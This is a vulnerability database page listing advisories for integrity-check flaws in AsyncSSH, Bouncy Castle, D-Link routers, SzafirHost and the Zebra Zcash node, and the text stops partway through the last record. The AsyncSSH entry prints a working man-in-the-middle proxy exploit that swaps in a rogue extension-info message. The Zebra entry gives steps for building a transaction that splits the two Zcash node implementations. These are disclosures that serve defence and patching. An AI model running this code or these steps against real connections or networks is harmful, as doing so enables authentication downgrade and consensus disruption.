Common Weakness Enumeration

CWE-354

Allowed

Improper Validation of Integrity Check Value

Abstraction: Base · Status: Draft

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

251 vulnerabilities reference this CWE, most recent first.

GHSA-CFC2-WR2V-GXM5

Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46
VLAI
Summary
AsyncSSH Rogue Extension Negotiation
Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```

Impact

Algorithm downgrade during user authentication.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-09T18:34:53Z",
    "nvd_published_at": "2023-11-14T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = \u0027127.0.0.1\u0027\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = \u0027127.0.0.1\u0027\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == \u0027__main__\u0027:\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
  "id": "GHSA-cfc2-wr2v-gxm5",
  "modified": "2025-11-04T16:46:51Z",
  "published": "2023-11-09T18:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231222-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.terrapin-attack.com"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncSSH Rogue Extension Negotiation"
}

GHSA-CFJH-C47F-GPRF

Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-08-28 18:31
VLAI
Details

In Bouncy Castle for Java before 1.85, CMS AuthenticatedData content not bound to MAC when authAttrs present. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T01:16:44Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, CMS AuthenticatedData content not bound to MAC when authAttrs present. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).",
  "id": "GHSA-cfjh-c47f-gprf",
  "modified": "2026-08-28T18:31:12Z",
  "published": "2026-08-03T03:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/2117f316a5a47308f3e569695a6592b16aac0dd7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9059642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-59642"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CFW4-VHM2-M225

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-15T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.",
  "id": "GHSA-cfw4-vhm2-m225",
  "modified": "2022-05-24T17:36:28Z",
  "published": "2022-05-24T17:36:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25758"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10195"
    },
    {
      "type": "WEB",
      "url": "https://www.digitaldefense.com/news/zero-day-vuln-d-link-vpn-routers"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CG6J-GW4M-CW76

Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-02 15:31
VLAI
Details

SzafirHost downloads necessary files in the context of the initiating web page. When called, SzafirHost updates its dynamic library. JAR files are correctly verified based on a list of trusted file hashes, and if a file was not on that list, it was checked to see if it had been digitally signed by the vendor. The application doesn't verify hash or vendor's digital signature of uploaded DLL, SO, JNILIB or DYLIB file. The attacker can provide malicious file which will be saved in users /temp folder and executed by the application.

This issue was fixed in version 1.1.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-26928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T14:16:26Z",
    "severity": "HIGH"
  },
  "details": "SzafirHost\u00a0downloads necessary files in the context of the initiating web page.\u00a0When called, SzafirHost updates its dynamic library. JAR files are correctly verified based on a list of trusted file hashes, and if a file was not on that list, it was checked to see if it had been digitally signed by the vendor. The application doesn\u0027t verify hash or vendor\u0027s digital signature of uploaded\u00a0DLL, SO, JNILIB or DYLIB file. The attacker can provide malicious file which will be saved in users /temp folder\u00a0and executed by the application.\n\nThis issue was fixed in version 1.1.0.",
  "id": "GHSA-cg6j-gw4m-cw76",
  "modified": "2026-04-02T15:31:39Z",
  "published": "2026-04-02T15:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26928"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/04/CVE-2026-26927"
    },
    {
      "type": "WEB",
      "url": "https://www.elektronicznypodpis.pl"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CWC6-73J8-3QM6

Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-08-03 09:32
VLAI
Details

In Bouncy Castle for Java before 1.85, CCM-family modes write plaintext to caller buffer before tag check. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T03:16:45Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, CCM-family modes write plaintext to caller buffer before tag check. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).",
  "id": "GHSA-cwc6-73j8-3qm6",
  "modified": "2026-08-03T09:32:36Z",
  "published": "2026-08-03T03:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58061"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/08d675106bb663ddcc6ec0a4af6f6f62f512697b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/cd4a5ab3ad619ff03c7767c1b8b19d5dea2970af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9058061"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-58061"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CWFQ-RFCR-8HMP

Vulnerability from github – Published: 2026-05-07 21:02 – Updated: 2026-05-07 21:02
VLAI
Summary
Zebra's Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs
Details

Zebra Transparent SIGHASH_SINGLE Corresponding-Output Handling Diverges From zcashd

Summary

For V5+ transparent spends, Zebra and zcashd disagree on the same consensus rule: SIGHASH_SINGLE must fail when the input index has no corresponding output. zcashd treats this as consensus-invalid under ZIP-244, while Zebra's transparent verification path computes a digest for the missing-output case instead of failing.

The result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by Zebra, retained in Zebra's mempool, selected into Zebra getblocktemplate, mined into a block, and then rejected by zcashd.

Details

Validated code revisions used during analysis:

  • zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
  • Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Scope note:

  • earlier triage material grouped pre-V5 and V5 behavior together;
  • re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;
  • this advisory therefore covers the V5+ / ZIP-244 variant only.

zcashd side:

  • Transparent scripts in blocks are checked through TransactionSignatureChecker::CheckSig() and SignatureHash(): zcash/src/script/interpreter.cpp.
  • In the ZIP-244 branch, SignatureHash() explicitly throws when SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY is used with nIn >= txTo.vout.size(): zcash/src/script/interpreter.cpp.
  • CheckSig() catches that exception and returns false, causing the transparent script to fail.

Zebra side:

Why this is exploitable:

  • the malformed transaction only needs fewer transparent outputs than inputs;
  • the attacker signs the digest that Zebra computes for the missing-output case;
  • Zebra then sees a valid transparent signature, while zcashd never reaches the same digest because it fails first.

Ordinary path viability:

PoC

Validated commits:

  • zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
  • Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Manual reproduction steps:

  1. Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.
  2. Sign input 0 normally.
  3. Sign input 1 with canonical SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY.
  4. Use the digest returned by Zebra's ZIP-244 path, where the missing output contributes transparent_outputs_hash([]).
  5. Submit the transaction to Zebra and to zcashd.
  6. Observe:
  7. Zebra accepts it into the mempool;
  8. Zebra selects it into getblocktemplate;
  9. Zebra can mine and accept a block containing it;
  10. zcashd rejects it in the ordinary mempool path.

Impact

This is a direct V5+ transparent consensus split.

Who can trigger it:

  • an ordinary transaction author can craft the malformed V5 transparent transaction;
  • the accept-side stock path is Zebra's mempool and block-template path;
  • an external miner still has to include the transaction in a block for the split to materialize.

Who is impacted:

  • Zebra can accept and template a transaction / block that zcashd rejects;
  • this makes the issue both a consensus-divergence problem and a practical Zebra block-template safety problem.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:02:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# `Zebra` Transparent `SIGHASH_SINGLE` Corresponding-Output Handling Diverges From `zcashd`\n\n### Summary\nFor V5+ transparent spends, `Zebra` and `zcashd` disagree on the same consensus rule: `SIGHASH_SINGLE` must fail when the input index has no corresponding output. `zcashd` treats this as consensus-invalid under ZIP-244, while `Zebra`\u0027s transparent verification path computes a digest for the missing-output case instead of failing.\n\nThe result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by `Zebra`, retained in `Zebra`\u0027s mempool, selected into `Zebra` `getblocktemplate`, mined into a block, and then rejected by `zcashd`.\n\n### Details\nValidated code revisions used during analysis:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nScope note:\n\n- earlier triage material grouped pre-V5 and V5 behavior together;\n- re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;\n- this advisory therefore covers the V5+ / ZIP-244 variant only.\n\n`zcashd` side:\n\n- Transparent scripts in blocks are checked through `TransactionSignatureChecker::CheckSig()` and `SignatureHash()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1386-L1407).\n- In the ZIP-244 branch, `SignatureHash()` explicitly throws when `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY` is used with `nIn \u003e= txTo.vout.size()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `CheckSig()` catches that exception and returns `false`, causing the transparent script to fail.\n\n`Zebra` side:\n\n- V5 transparent inputs route into the same FFI-based transparent script verifier used for block validation: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L989-L1098).\n- `Zebra` converts the decoded hash type and asks its Rust sighash engine for a digest without adding the corresponding-output pre-check that `zcashd` enforces first: [`zebra/zebra-script/src/lib.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-script/src/lib.rs#L160-L175), [`zebra/zebra-chain/src/primitives/zcash_primitives.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-chain/src/primitives/zcash_primitives.rs#L307-L343).\n- `Zebra` forwards canonical `SIGHASH_SINGLE` into the Rust ZIP-244 implementation.\n- In that implementation, when `input.index() \u003e= bundle.vout.len()`, the code uses `transparent_outputs_hash::\u003cTxOut\u003e(\u0026[])` instead of erroring: [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L101-L107), [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L131-L139).\n\nWhy this is exploitable:\n\n- the malformed transaction only needs fewer transparent outputs than inputs;\n- the attacker signs the digest that `Zebra` computes for the missing-output case;\n- `Zebra` then sees a valid transparent signature, while `zcashd` never reaches the same digest because it fails first.\n\nOrdinary path viability:\n\n- `zcashd` ordinary mempool admission is not the practical trigger path, because the same ZIP-244 `SignatureHash()` checks fail there first: [`zcash/src/main.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/main.cpp#L1981-L1995), [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `Zebra` ordinary mempool admission is viable because `Zebra` uses the same transparent verifier for mempool and block validation and does not have a separate \"one output per input\" standardness rule here: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L414-L519), [`zebra/zebrad/src/components/mempool/storage.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebrad/src/components/mempool/storage.rs#L255-L376).\n- `Zebra` is a block-template producer, so the realistic stock path is `Zebra` mempool -\u003e `Zebra` `getblocktemplate` -\u003e external miner: [`zebra/zebra-rpc/src/methods/types/get_block_template/zip317.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-rpc/src/methods/types/get_block_template/zip317.rs#L72-L105).\n\n### PoC\nValidated commits:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nManual reproduction steps:\n\n1. Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.\n2. Sign input `0` normally.\n3. Sign input `1` with canonical `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY`.\n4. Use the digest returned by `Zebra`\u0027s ZIP-244 path, where the missing output contributes `transparent_outputs_hash([])`.\n5. Submit the transaction to `Zebra` and to `zcashd`.\n6. Observe:\n   - `Zebra` accepts it into the mempool;\n   - `Zebra` selects it into `getblocktemplate`;\n   - `Zebra` can mine and accept a block containing it;\n   - `zcashd` rejects it in the ordinary mempool path.\n\n### Impact\nThis is a direct V5+ transparent consensus split.\n\nWho can trigger it:\n\n- an ordinary transaction author can craft the malformed V5 transparent transaction;\n- the accept-side stock path is `Zebra`\u0027s mempool and block-template path;\n- an external miner still has to include the transaction in a block for the split to materialize.\n\nWho is impacted:\n\n- `Zebra` can accept and template a transaction / block that `zcashd` rejects;\n- this makes the issue both a consensus-divergence problem and a practical `Zebra` block-template safety problem.",
  "id": "GHSA-cwfq-rfcr-8hmp",
  "modified": "2026-05-07T21:02:30Z",
  "published": "2026-05-07T21:02:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-cwfq-rfcr-8hmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
